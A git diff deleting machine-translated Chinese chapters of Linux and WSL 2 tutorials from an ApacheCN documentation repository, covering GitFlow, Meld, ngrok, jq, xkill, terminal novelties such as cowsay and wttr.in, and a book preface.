branch - -``` - -![Go with the Git flow](img/image_05_025.jpg) - -我们看到只有两个可用的分支被掌握和发展: - -```sh -git tag - -``` - -![Go with the Git flow](img/image_05_026.jpg) - -这告诉我们,有一个 1.0.0 标签切割。我们可以看到,分支现在包含两个文件,分别来自特征和释放分支的合并;如果我们也切换到 master 分支,我们可以看到,在这一点上,master 是 develop 的精确副本: - -![Go with the Git flow](img/image_05_027.jpg) - -GitFlow 还带有增强的钩子功能。如果我们阅读文档,我们可以在`hooks`文件夹中看到所有可能的钩子。让我们添加一个`git`钩子,它将在每个修复分支之前执行。为此,我们只需打开模板,复制内容,并将其粘贴到我们的`.git/hooks`目录中名为`pre-flow-hotfix-start`的文件中。 - -GitFlow 的工作流程比所展示的要多。我们不会一一介绍,但是您可以通过访问 cheatsheet 页面或阅读 GitHub 页面上的说明来找到附加信息。 - -我们就简单的`echo`一个有版本和出处的消息。 - -如果我们看一下`hotfix`流程,可以看到它们是从主分支创建的,合并回 master 进行开发,在 master 上有一个标签。 - -让我们看看它是否有效: - -```sh -git flow hotfix start 1.0.1 - -``` - -![Go with the Git flow](img/image_05_028.jpg) - -显然不是。出现了问题,我们的脚本没有执行,我们需要删除我们的分支: - -```sh -git flow hotfix delete 1.0.1 - -``` - -![Go with the Git flow](img/image_05_029.jpg) - -分析`git hooks`目录,我们看到我们的钩子没有执行权限。在添加执行权限并再次运行`git hook`命令后,我们可以在修复程序输出的顶部看到我们的消息。让我们用以下内容来完成此修复程序: - -```sh -git flow hotfix finish 1.0.1 - -``` - -![Go with the Git flow](img/image_05_030.jpg) - -如您所见,命令非常简单。还有一个`oh-my-zsh`插件,你可以激活它来完成命令行。 - -正如我们之前所说的,这是一个适合开发多个功能、修复 bug 和同时发布补丁的开发团队的插件。GitFlow 简单易学,帮助团队拥有正确的工作流程,他们可以轻松地为生产代码准备补丁,而不用担心在主分支上开发的额外功能。 - -你可以随意调整`config`:有些人更喜欢把`hooks`文件夹放在不同的地方,这样就可以提交到`git repo`上,不用担心把文件复制过来;其他人继续在主分支上开发,并使用单独的分支(如 customer)作为生产代码。 - -# 轻松合并 Git 冲突 - -现在让我们看看我们可以给`git`带来的另一个改进。大多数任务很容易从命令行执行,但是有些任务,例如合并,需要专家的眼睛来理解不同的格式。 - -让我们打开上一章的`feature`文件,编辑它,添加一个新行,并保存它: - -```sh -git diff - -``` - -![Merging Git conflicts with ease](img/image_05_031.jpg) - -`git diff`命令将向我们显示彩色文本,解释`git`文件和修改文件之间的区别,但是有些人觉得这种格式很难理解: - -![Merging Git conflicts with ease](img/image_05_032.jpg) - -幸运的是,当涉及到合并时,我们可以告诉`git`使用外部工具,我们可以使用的一个外部工具叫做**梅尔德**。让我们使用以下方法安装它: - -```sh -sudo apt install meld - -``` - -![Merging Git conflicts with ease](img/image_05_033.jpg) - -之后,我们可以运行以下命令: - -```sh -git difftool - -``` - -![Merging Git conflicts with ease](img/image_05_034.jpg) - -它会询问我们是否要启动 Meld 作为查看文件的外部程序。它还为我们提供了一个工具列表,可以用来显示差异。点击`y`打开 Meld: - -![Merging Git conflicts with ease](img/image_05_035.jpg) - -现在,我们可以轻松地并排看到这两个文件以及它们之间的差异。我们可以看到`1`变成了`2`,增加了一条新的线。基于这个输出,我们可以很容易地决定是否要添加它。让我们按原样提交文件。 - -接下来,我们将研究合并冲突。让我们手动创建一个名为**的分支,测试**和**编辑**同一个文件,提交它,然后切换回开发分支。让我们更新同一个文件,提交它,然后尝试合并`test`分支:当然,还有合并冲突。 - -为了解决冲突,我们将使用以下命令: - -```sh -git mergetool - -``` - -![Merging Git conflicts with ease](img/image_05_036.jpg) - -![Merging Git conflicts with ease](img/image_05_037.jpg) - -再次,它提供打开 Meld。在 Meld 中,我们可以看到三个文件: - -* 左边是我们当前分支的文件 -* 右边是来自远程分支的文件 -* 中间是将要创建的结果文件 - -假设我们决定该特性的正确版本是`4`,并且我们还想添加`of text`: - -```sh -git commit -a - -``` - -![Merging Git conflicts with ease](img/image_05_038.jpg) - -您可以看到预定义的提交消息。不要忘记删除在合并时创建的临时文件: - -![Merging Git conflicts with ease](img/image_05_039.jpg) - -总的来说,大多数现代 ide 都提供了与`git`一起工作的插件,包括合并和`diffs`。我们建议您更多地了解命令行工具,因为从一个 IDE 切换到另一个 IDE 时,您不需要来学习新的`git`插件。 - -`git`命令在 Linux、Mac 和 Windows 上的工作方式相同。这是一个开发人员经常使用的工具,熟练使用它将提高您的工作效率。 - -# 从本地主机到即时 DNS - -通常,尤其是当与他人一起工作或开发与在线服务的集成时,我们需要使我们的计算机可以从互联网上访问。这些信息可以从我们信任的路由器上获得,但是如果我们有一个工具,让我们的计算机端口可以公开访问,不是更容易吗? - -幸运的是,我们有这样一个工具! - -满足`ngrok`,多才多艺的一行命令,让你忘记路由器配置和连续重新部署。`Ngrok`是一个简单的工具,将我们计算机的一个端口暴露给互联网上公开的唯一域名。 - -它是怎么做到的? - -好吧,让我们看看它在行动吧! - -去网站,点击**下载**按钮,选择你的命运。在我们的例子中,我们的命运是 64 位的 Linux 软件包。接下来,进入终端,解压文件,将其内容复制到`bin`文件夹: - -* `cd`下载 -* `unzip ngrok.zip` -* `mv ngrok ~/bin` - - ![From localhost to instant DNS](img/image_05_040.jpg) - -现在执行一次重写,并键入以下内容: - -```sh -ngrok http 80 - -``` - -![From localhost to instant DNS](img/image_05_041.jpg) - -我们可以看到端口 80 和 443 的端口转发运行在我们本地的 80 端口上,在一个自定义的`ngrok`子域名称上。我们还可以看到服务器的区域,默认位于美国。如果我们在不同的地区,我们可以通过以下方式进行设置: - -```sh -ngrok http 80 --region eu - -``` - -`ngrok`服务器位于欧洲。为了测试我们的`ngrok`服务器,让我们使用我们信任的 Python 服务器来显示一个简单的 HTML 页面: - -```sh -python -m SimpleHTTPServer - -``` - -![From localhost to instant DNS](img/image_05_042.jpg) - -然后使用从端口`8000`(默认 Python 网络服务器端口)转发的 HTTP 流量重新启动`ngrok`: - -```sh -ngrok http 8000 --region eu - -``` - -![From localhost to instant DNS](img/image_05_043.jpg) - -点击`ngrok`提供的链接,我们会看到我们的网页可以上网。 - -就这样。没有配置,没有账号,没有头疼。只是一个简单的一行命令,我们可以从任何地方运行。`ngrok`提供的子域是生成的,每次重启`ngrok`都会改变。我们可以选择像使用 Linux[https://ngrok.com/](https://ngrok.com/)一样使用我们的自定义域名,但必须在获得付费账户后。 - -`ngrok`在`http://127.0.0.1:4040`也有一个网页界面,我们可以在这里看到统计数据和日志。 - -力量来自易用性`ngrok`为我们提供了这种力量: - -![From localhost to instant DNS](img/image_05_044.jpg) - -以下是使用这一强大工具的一些具体场景: - -* 当测试与需要回调的在线服务的集成时`url`,例如 oAuth 登录和在线支付 -* 当开发连接到本地服务的移动应用时 -* 当我们想要暴露一个`ssh`端口时 -* 当我们想让客户访问我们笔记本电脑上的网页时,也许可以给他们看一些代码 - -# 新时代的 JSON 干扰 - -如今,JSON 无处不在,在 web `apis`中,在配置文件中,甚至在日志中。JSON 是用于构造数据的默认格式。因为用的太多了,会有需要我们从命令行处理 JSON 的时候。你能想象用`grep`、`sed,`或其他常规工具做这件事吗?这将是一个相当大的挑战。 - -幸运的是,有一个叫做`jq`的简单命令行工具,我们可以用它来查询 JSON 文件。它有自己的语言语法,我们几分钟后就会看到。 - -首先让我们用下面的命令安装`jq`: - -```sh -sudo apt install jq - -``` - -![JSON jamming in the new age](img/image_05_045.jpg) - -现在让我们使用一个示例文件,一个 JSON 格式的虚拟访问日志:`access.log`,我们也可以在课程 GitHub 资源库中找到它。 - -让我们从一些简单的查询开始: - -```sh -jq . access.log - -``` - -![JSON jamming in the new age](img/image_05_046.jpg) - -我们将把 JSON 对象打印回屏幕,格式很好: - -![JSON jamming in the new age](img/image_05_047.jpg) - -如果我们想从每个请求中获取`request`方法,运行以下命令: - -```sh -jq '.requestMethod' access.log - -``` - -![JSON jamming in the new age](img/image_05_048.jpg) - -这将打印每个`json`对象的请求方法。请注意每个方法周围的双引号: - -![JSON jamming in the new age](img/image_05_049.jpg) - -如果我们想使用输出作为其他脚本的输入,我们可能不需要双引号,这就是`-r`(原始输出)派上用场的地方: - -```sh -jq '.requestMethod' -r access.log - -``` - -![JSON jamming in the new age](img/image_05_050.jpg) - -`jq`通常用于规模小得多的大数据查询: - -![JSON jamming in the new age](img/image_05_051.jpg) - -比方说,如果我们想要计算日志文件中请求方法的统计数据,我们可以运行以下命令: - -```sh -jq '.requestMethod' -r access.log | sort | uniq -c - -``` - -![JSON jamming in the new age](img/image_05_052.jpg) - -现在我们可以看到对`get`、`put`、`post,`和`delete`请求的计数。如果我们想要对另一个字段进行相同类型的计算,比如`apikey`,我们可以运行以下内容: - -```sh -jq '.requestHeaders.apikey' -r access.log | sort | uniq -c - -``` - -![JSON jamming in the new age](img/image_05_053.jpg) - -因为访问嵌套字段的语法是只使用点作为它们之间的分隔符。还要注意我们使用单引号而不是双引号来将我们的查询标记为字符串。您可能知道,shell 脚本中单引号和双引号之间的区别在于,双引号字符串将尝试扩展变量,而单引号字符串将被视为固定字符串。 - -要查询请求主体的,我们将使用以下命令: - -```sh -jq '.requestBody' access.log - -``` - -![JSON jamming in the new age](img/image_05_054.jpg) - -从输出中我们可以看到,即使是空的请求体也会被记录下来,并由`jq`打印出来: - -![JSON jamming in the new age](img/image_05_055.jpg) - -要跳过打印空体,我们可以使用 jq 的查询语言选择所有没有空体的文档: - -```sh -jq 'select(.requestBody != {}) | .requestBody' access.log - -``` - -![JSON jamming in the new age](img/image_05_056.jpg) - -如果我们想进一步细化搜索,并且只打印请求体的`dataIds`对象中的第一个元素,请使用以下内容: - -```sh -jq 'select(.requestBody.dataIds[0] != null) | .requestBody.dataIds[0]' access.log - -``` - -![JSON jamming in the new age](img/image_05_057.jpg) - -我们甚至可以对返回值进行算术运算,比如递增: - -```sh -jq 'select(.requestBody.dataIds[0] != null) | .requestBody.dataIds[0] + 1' access.log - -``` - -![JSON jamming in the new age](img/image_05_058.jpg) - -还有很多`jq`的例子和用例:去官方`jq`页面访问那里的教程就可以了; - -[https://stedolan . github . io/jq/tutorial/](https://stedolan.github.io/jq/tutorial/) - -![JSON jamming in the new age](img/image_05_059.jpg) - -在这里我们可以看到一个使用 rest API 的例子,它返回`json`并将其传送到`jq`。要打印带有来自`github`存储库的提交消息的`json`,请运行以下命令: - -```sh -curl 'https://api.github.com/repos/stedolan/jq/commits?per_page=5' | jq -r '[.[] | {message: .commit.message}]' - -``` - -正如我们所说的,文档中有更多的例子,以及更多的用例。`jq`是一个相当强大的工具,从命令行与`json`交互时必不可少。 - -## 不再有好人先生了 - -Linux 中的内核和命令行稳定而强大。多年来,它们的可靠性已经得到了证明,关于 Linux 服务器连续运行多年而不重启的现代传说。然而,图形界面不一样,它们有时会失败或变得无响应。这可能会变得很烦人,有一个快速杀死无响应窗口的方法总是好的。准备迎接`xkill`。 - -首先,让我们复制一个无响应的窗口。去终端启动`gedit`:然后点击 *Ctrl* + *z* 。这将把`gedit`发送到后台,而窗口仍然可见。尝试在窗口内点击几次会告诉 Ubuntu 不再有进程处理这个窗口,Ubuntu 会使变成灰色: - -![No more mister nice guy](img/image_05_060.jpg) - -点击 *Ctrl* + *z* : - -![No more mister nice guy](img/image_05_061.jpg) - -这将把`gedit`发送到后台,而窗口仍然可见。尝试在窗口内点击几次会告诉 Ubuntu 不再有进程处理这个窗口,Ubuntu 会将其变成灰色: - -![No more mister nice guy](img/image_05_062.jpg) - -为了避免为了窗口的`pid`而涂抹然后杀死的过程,我们使用了一个小技巧。转到终端并运行以下命令: - -```sh -xkill - -``` - -![No more mister nice guy](img/image_05_063.jpg) - -现在我们看到鼠标指针变成了`x`。 - -注意不要点击任何东西。点击 *Alt* + *Tab* 调出`gedit`窗口,然后点击。`xkill`命令会找到并杀死我们刚刚点击的窗口的进程。 - -这个技巧可以用在任何类型的窗口上;就像拍窗户一样! - -好的,但是如果整个系统没有响应,并且您不能在命令行中键入任何内容,会发生什么呢?这种情况可能会发生,尤其是在旧系统上。您可以在笔记本电脑或服务器上点击**开/关**按钮,但在某些情况下,这是不可能的。 - -我们现在要给大家看的是一个被 Linux 大师们保密了很久的老把戏;没有人真正谈论它,因为它太强大了,可以在错误的人手中造成损害。请确保您保存了所有工作并关闭了所有程序,然后再尝试致命的键盘快捷键,这将强制重启您的 Linux 系统。按住 *Alt* + *PrtScrn* 并同时键入以下内容: - -```sh -reisub - -``` - -如果你尝试过,这意味着你的电脑重新启动了,你必须回到这个课程,从你停止的地方继续。 - -非常小心地练习这个命令,请不要经常使用它来重新启动计算机。仅在**图形用户界面** ( **图形用户界面**)没有响应时使用。 - -另一个技巧:如果图形用户界面没有响应,并且您有未保存的工作,您可以通过访问 Linux 的一个虚拟终端,从命令行恢复其中一些工作。默认情况下,Ubuntu 启动七个虚拟终端,图形用户界面在终端 7 启动。要访问七个终端中的任何一个,请使用*Ctrl*+*Alt*+*F1*至 *F7* 。将出现一个提示,要求您登录,登录后,您可以运行一些命令来关闭进程并在退出前保存工作。回到用户界面,点击*Ctrl*+*Alt*+*F1*。 \ No newline at end of file diff --git a/docs/work-with-linux/6.md b/docs/work-with-linux/6.md deleted file mode 100644 index 669139a0..00000000 --- a/docs/work-with-linux/6.md +++ /dev/null @@ -1,107 +0,0 @@ -# 六、终端的艺术 - -只工作不玩耍,聪明的孩子也变傻。尽管命令行对许多人来说似乎很无聊,但它可以变得非常有趣。一切都取决于你的想象。终端可以很时尚,可以给人留下很好的印象,尤其是我们在电影里看到的那些。颜色、ASCII 艺术和动画可以让我们的终端变得生动起来。所以,这里来了一些终端艺术! - -在本章中,我们将介绍以下内容: - -* 使用一些 Linux 命令来获得乐趣 - -听说过幸运饼干吗?你想吃它们而不发胖吗?只需运行以下`apt`命令来安装我们将在本章中使用的实用程序: - -```sh -sudo apt install fortune cowsay cmatrix - -``` - -![Terminal Art](img/image_06_001.jpg) - -然后运行以下命令: - -```sh -fortune - -``` - -![Terminal Art](img/image_06_002.jpg) - -当运行这个命令时,你会随机得到财富、引语和笑话。如果我们把命令和`cowsay`结合起来,我们会得到同样的命运,用一头牛的形象来传递: - -```sh -fortune | cowsay - -``` - -![Terminal Art](img/image_06_003.jpg) - -为了使这种情况反复出现,我们可以将其作为最后一行包含在我们的`zshrc`文件中。然后,每次我们打开一个新的终端窗口,一头牛就会给我们送来一笔财富。 - -现在这可能没什么用(尽管它有点有趣),所以,让我们做一些有成效的魔法。 - -让我们预测天气! - -你只需要一个`curl`命令: - -```sh -curl -4 http://wttr.in/London - -``` - -![Terminal Art](img/image_06_004.jpg) - -这将以良好的格式显示指定城市的三天天气预报,在本例中为伦敦: - -![Terminal Art](img/image_06_005.jpg) - -现在,利用我们新学到的技能,让我们编写一个 shell 脚本,为我们提供天气预报: - -打开`~/bin/wttr`并输入以下内容: - -```sh -#!/bin/bash -CITY=${1:-London} -curl -4 http://wttr.in/${CITY} - -``` - -给它执行权,指定一个默认城市,比如伦敦。现在,运行这个: - -```sh -wttr - -``` - -![Terminal Art](img/image_06_006.jpg) - -![Terminal Art](img/image_06_007.jpg) - -我们得到了伦敦的天气预报。现在,运行这个: - -```sh -wttr paris - -``` - -![Terminal Art](img/image_06_008.jpg) - -我们得到了巴黎的天气预报。第一次在命令行中工作看起来像是进入了 Matrix,如果是这样,为什么不创建那个环境呢? - -运行以下命令: - -```sh -cmatrix - -``` - -![Terminal Art](img/image_06_009.jpg) - -让你的朋友对你在那个神秘的终端里做的复杂的事情感到惊讶。终端不无聊! - -![Terminal Art](img/image_06_010.jpg) - -它们有漂亮的颜色,易于阅读的输出,它们显示紧凑的信息,让用户控制自己的系统。 - -终端可以定制和交互,它们可以提高你的工作效率,同时让你的鼠标进入无休止的低效率睡眠。 - -当然,所有这些技能都不是一蹴而就的,它们需要每个用户仔细调整,以便根据自己的口味以及思维和工作方式进行定制。然而,在那之后,它们会像量身定做的西装一样合身,成为你工作方式的延伸,有时甚至是你工作的延伸。 - -我们希望您喜欢我们提供的所有提示和技巧,并从中获得乐趣。记住教育是一个持续的过程,所以不要止步于此!保持饥饿和上网冲浪,以跟踪最新的工具和技术,这将把你变成一个生产力野兽! \ No newline at end of file diff --git a/docs/work-with-linux/README.md b/docs/work-with-linux/README.md deleted file mode 100644 index f70e7273..00000000 --- a/docs/work-with-linux/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 使用 Linux 工作 - -> 原文:[Working With Linux](https://libgen.rs/book/index.php?md5=1386224BACCE1A8CB295702FCFA899BB) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/work-with-linux/SUMMARY.md b/docs/work-with-linux/SUMMARY.md deleted file mode 100644 index f582c33c..00000000 --- a/docs/work-with-linux/SUMMARY.md +++ /dev/null @@ -1,8 +0,0 @@ -+ [使用 Linux 工作](README.md) -+ [零、前言](0.md) -+ [一、概述](1.md) -+ [二、高效 Shell——重塑你的工作方式](2.md) -+ [三、Vim 功夫](3.md) -+ [四、命令行界面——隐藏的秘籍](4.md) -+ [五、开发者的宝藏](5.md) -+ [六、终端的艺术](6.md) diff --git a/docs/wsl2-tip-trick-tech/00.md b/docs/wsl2-tip-trick-tech/00.md deleted file mode 100644 index 86fbbbec..00000000 --- a/docs/wsl2-tip-trick-tech/00.md +++ /dev/null @@ -1,115 +0,0 @@ -# 零、前言 - -面向 Linux 的 Windows 子系统(WSL)是来自微软的一项令人兴奋的技术,它将 Linux 与 Windows 结合在一起,并允许您在 Windows 上运行未修改的 Linux 二进制文件。 与在隔离的虚拟机中运行 Linux 的体验不同,WSL 提供了丰富的互操作性功能,允许您将来自每个操作系统的工具结合在一起,允许您使用最佳的工具来完成工作。 - -通过使用 WSL 2,微软通过改进性能和提供完整的系统调用兼容性来提高 WSL,从而在利用该特性时提供更多的功能。 此外,其他技术,如 Docker Desktop 和 Visual Studio Code,已经添加了对 WSL 的支持,并添加了更多利用它的方法。 - -通过 Docker Desktop 的 WSL 集成,您可以在 WSL 中运行 Docker 守护进程,提供了一系列好处,包括从 WSL 装载卷时的性能提高。 - -Visual Studio Code 中的 WSL 集成使您能够在 WSL 中安装项目工具和依赖项以及源代码,并让 Windows 用户界面连接到 WSL 以加载代码,并在 WSL 中运行和调试应用。 - -总而言之,WSL 是一项令人兴奋的技术,它对我的日常工作流程做出了巨大的改进,我希望在您阅读这本书的时候与您分享这种兴奋! - -# 这本书是给谁的? - -本书面向那些想在 Windows 上使用 Linux 工具的开发人员,包括那些希望根据项目需求轻松进入 Linux 环境的 Windows 本地程序员,或者最近转向 Windows 的 Linux 开发人员。 这本书也适合那些使用 linux 优先工具(如 Ruby 或 Python)从事开源项目的 web 开发人员,或者那些希望在容器和开发机器之间切换以测试应用的开发人员。 - -# 这本书的内容是什么? - -[*第一章*](01.html#_idTextAnchor017),*Windows 子系统简介*,概述了 WSL 是什么,并探讨了 WSL 1 和 WSL 2 之间的区别。 - -第二章[](02.html#_idTextAnchor023)*,*安装和配置 Windows 子系统为 Linux*,带你通过安装 WSL 2 的过程中,与 WSL 如何安装的 Linux 发行版,如何控制和配置 WSL。* - - *[*第三章*](03.html#_idTextAnchor037),*Windows 终端入门*,介绍了新的 Windows 终端。 这个来自微软的新的开源终端正在迅速发展,它为使用 WSL 2 在 shell 中工作提供了很好的体验。 您将看到如何安装 Windows Terminal、使用它和自定义它的外观。 - -第四章[](04.html#_idTextAnchor047)*,*Windows, Linux 互操作性,开始深入 WSL 提供的互操作性的特点,通过观察如何访问文件和从 Windows 应用在您的 Linux 发行版。** - - **[*第五章*](05.html#_idTextAnchor054),*Linux, Windows 互操作性*,继续探索 WSL 互操作性特征通过展示如何从 Linux, Windows 文件和应用的访问和一些互操作性技巧和窍门。 - -[*第六章*](06.html#_idTextAnchor069),*从 Windows 终端获取更多*,深入探讨了 Windows 终端的一些方面,如自定义标签标题和将标签拆分为多个窗格。 您将看到各种选项,包括如何从命令行控制 Windows Terminal(以及如何重用命令行选项以与正在运行的 Windows Terminal 一起工作)。 您还将看到如何添加自定义配置文件来增强您的日常工作流。 - -[*第七章*](07.html#_idTextAnchor082),*在 WSL 中与容器一起工作*,介绍了在 WSL 2 中使用 Docker Desktop 来运行 Docker 守护进程。 您将看到如何为示例 web 应用构建和运行容器。 本章还展示了如何使用 Docker Desktop 中的 Kubernetes 集成来运行 WSL 中的 Kubernetes 示例 web 应用。 - -[*第八章*](08.html#_idTextAnchor098),*使用 WSL 发行版*,将带领您完成导出和导入 WSL 发行版的过程。 此技术可用于将一个发行版复制到另一台计算机或在本地计算机上创建一个副本。 您还将看到如何使用容器映像快速创建新的 wsdl 发行版。 - -[*第 9 章*](09.html#_idTextAnchor111),*Visual Studio Code 和 WSL*,快介绍 Visual Studio Code 之前探索 Remote-WSL 扩展处理代码在你 WSL 从 Visual Studio Code 发行版文件系统。 通过这种方法,您可以保留 Visual Studio Code 的丰富 GUI 体验,并使用所有在 WSL 中运行的代码文件、工具和应用。 - -[*第十章*](10.html#_idTextAnchor125),*Visual Studio Code 和容器*,继续探索通过观察 Remote-Containers 扩展 Visual Studio Code,你可以包你所有项目依赖关系到一个容器中。 这种方法允许您隔离项目之间的依赖关系以避免冲突,并且还允许新团队成员快速开始工作。 - -[*第 11 章*](11.html#_idTextAnchor148),*命令行工具的生产力技巧*,介绍了在命令行中使用 Git 的一些技巧,以及处理 JSON 数据的一些方法。 在此之后,本文探讨了 Azure 和 Kubernetes 命令行实用程序以及它们各自用于查询信息的方法,包括进一步探讨如何处理 JSON 数据。 - -# 为了最大限度地了解这本书 - -要跟上本书中的示例,您需要一个与 WSL 版本 2 兼容的 Windows 10 版本(见下表)。 你还需要 Docker Desktop 和 Visual Studio Code。 - -需要具备编程或开发经验,并对在 PowerShell、Bash 或 Windows 命令提示符中运行任务有基本的了解: - -![](img/B16412_Preface_Table.jpg) - -如果你正在使用这本书的数字版本,我们建议你自己输入代码或通过 GitHub 存储库访问代码(链接在下一节中)。 这样做将帮助您避免任何与复制和粘贴代码相关的潜在错误。 - -微软还宣布了 WSL 的一些附加特性(比如对 GPU 和 GUI 应用的支持),但在撰写本文时,这些特性还不稳定,而且仅以早期预览形式提供。 本书选择将重点放在稳定的、已发布的 WSL 特性上,因此目前将重点放在当前以命令行为中心的 WSL 视图上。 - -# 下载示例代码文件 - -你可以从 GitHub 上的[https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques](https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques)下载这本书的示例代码文件。 如果代码有更新,它将在现有的 GitHub 存储库中更新。 - -我们还可以在[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/)中找到丰富的图书和视频目录中的其他代码包。 检查出来! - -# 下载彩色图片 - -我们还提供了一个 PDF 文件,其中包含了本书中使用的屏幕截图/图表的彩色图像。 你可以在这里下载:[https://static.packt-cdn.com/downloads/9781800562448_ColorImages.pdf](https://static.packt-cdn.com/downloads/9781800562448_ColorImages.pdf)。 - -# 使用的约定 - -本书中使用了许多文本约定。 - -`Code in text`:表示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 url、用户输入和 Twitter 句柄。 下面是一个例子:“为了改变 UI 中概要文件的顺序,我们可以改变`settings`文件中`profiles`下`list`条目的顺序。” - -一段代码设置如下: - -```sh -"profiles": { - "defaults": { - "fontFace": "Cascadia Mono PL" - }, -``` - -当我们希望提请您注意代码块的特定部分时,相关的行或项以粗体显示: - -```sh -"profiles": { - "defaults": { - "fontFace": "Cascadia Mono PL" - }, -``` - -任何命令行输入或输出都写如下: - -```sh -git clone https://github.com/magicmonty/bash-git-prompt.git ~/.bash-git-prompt --depth=1 -``` - -**粗体**:表示新词条、重要词汇或在屏幕上看到的词汇。 例如,菜单或对话框中的单词会像这样出现在文本中。 下面是一个例子:“playground 在处理复杂查询时是一个很有帮助的环境,底部的**Command Line**部分甚至为您提供了可以复制并在脚本中使用的命令行。” - -小贴士或重要提示 - -出现这样的。 - -# 联系 - -我们欢迎读者的反馈。 - -**一般反馈**:如果你对本书的任何方面有疑问,请在邮件主题中提及书名,并通过电子邮件发送至`customercare@packtpub.com`。 - -**Errata**:尽管我们已尽一切努力确保内容的准确性,但错误还是会发生。 如果您在这本书中发现了错误,请向我们报告,我们将不胜感激。 请访问[www.packtpub.com/support/errata](http://www.packtpub.com/support/errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上发现我们作品的任何形式的非法拷贝,请提供我们的位置地址或网址。 请通过`copyright@packt.com`与我们联系,并提供相关材料的链接。 - -**如果你有兴趣成为一名作家**:如果你有一个你擅长的话题,并且你有兴趣写作或写一本书,请访问[authors.packtpub.com](http://authors.packtpub.com)。 - -# 评论 - -请留下评论。 一旦你阅读和使用这本书,为什么不在你购买它的网站上留下评论? 潜在的读者可以看到并使用您的公正意见来做出购买决定,我们在 Packt 可以理解您对我们的产品的看法,我们的作者可以看到您对他们的书的反馈。 谢谢你! - -更多关于 packt.com 的信息,请访问[packt.com](http://packt.com)。*** \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/01.md b/docs/wsl2-tip-trick-tech/01.md deleted file mode 100644 index b65887b7..00000000 --- a/docs/wsl2-tip-trick-tech/01.md +++ /dev/null @@ -1,86 +0,0 @@ -# 一、Linux 下的 Windows 子系统简介 - -在这一章,你将学习一些用例的**Windows 子系统为 Linux**(**WSL**),开始了解 WSL 实际上是什么,以及它如何比较运行 Linux 虚拟机。 这将帮助我们理解本书的其余部分,在这些部分中,我们将学习有关 wsdl 的所有知识,以及如何安装和配置它,同时还将学到一些技巧,以便为您的开发人员工作流最大限度地利用它。 - -使用 WSL,您可以在 Windows 上运行 Linux 实用程序来帮助完成工作。 您可以使用本机 Linux 工具(如**调试器**)构建 Linux 应用,从而打开一个只有基于 Linux 的构建系统的项目世界。 这些项目中有许多也会生成 Windows 二进制文件作为输出,但 Windows 开发人员很难访问和贡献。 但是,由于 WSL 为您提供了 Windows 和 Linux 的结合功能,您可以完成所有这些工作,同时仍然将您最喜欢的 Windows 实用程序作为流程的一部分。 - -这本书的重点是 WSL 的版本 2,它是对该特性的重大修改,本章将概述该版本如何工作,以及与版本 1 的比较。 - -在本章中,我们将特别涵盖以下主题: - -* WSL 是什么? -* 探索 WSL 1 和 WSL 2 之间的差异 - -因此,让我们从定义 wsdl 开始吧! - -# 什么是 WSL? - -在较高的级别上,WSL 提供了在 Windows 上运行 Linux 二进制文件的能力。 运行 Linux 二进制文件的愿望已经存在很多年了,至少在中已经存在了**Cygwin**([https://cygwin.com](https://cygwin.com))这样的项目。 根据其主页,Cygwin 是*“一个 GNU 和开源工具的大集合,它提供了类似于 Windows 上的 Linux 发行版*的功能。 要在 Cygwin 上运行 Linux 应用,需要从源代码重新构建。 wsdl 提供了在 Windows 上运行 Linux 二进制文件而无需修改的能力。 这意味着您可以获取您最喜欢的应用的最新版本并立即使用它。 - -想要在 Windows 上运行 Linux 应用的原因是多种多样的,包括以下几点: - -* 您目前正在使用 Windows,但对 Linux 应用和实用程序有经验和熟悉。 -* 您在 Windows 上进行开发,但将应用部署的目标定位于 Linux(直接或在容器中)。 -* 您使用的是开发人员栈,其中生态系统在 Linux 上有更强的存在,例如 Python,其中一些库是特定于 Linux 的。 - -无论您为什么想在 Windows 上运行 Linux 应用,WSL 都为您带来了这种能力,并以一种新的、高效的方式实现了这一点。 虽然在 Hyper-V 中运行 Linux**虚拟机**(**VM**)已经有可能很长一段时间了,但运行 VM 会给您的工作流带来一些障碍。 - -例如,启动一个 VM 需要足够的时间来让您失去思维流,并且需要主机上的专用内存。 此外,虚拟机中的文件系统是专用于该虚拟机的,并且与主机隔离。 这意味着在 Windows 主机和 Linux 虚拟机之间访问文件需要为 Guest Integration Services 设置 Hyper-V 特性或设置传统的网络文件共享。 VM 的隔离还意味着 VM 内部和外部的进程无法方便地相互通信。 基本上,在任何时间点,您要么在 VM 中工作,要么在 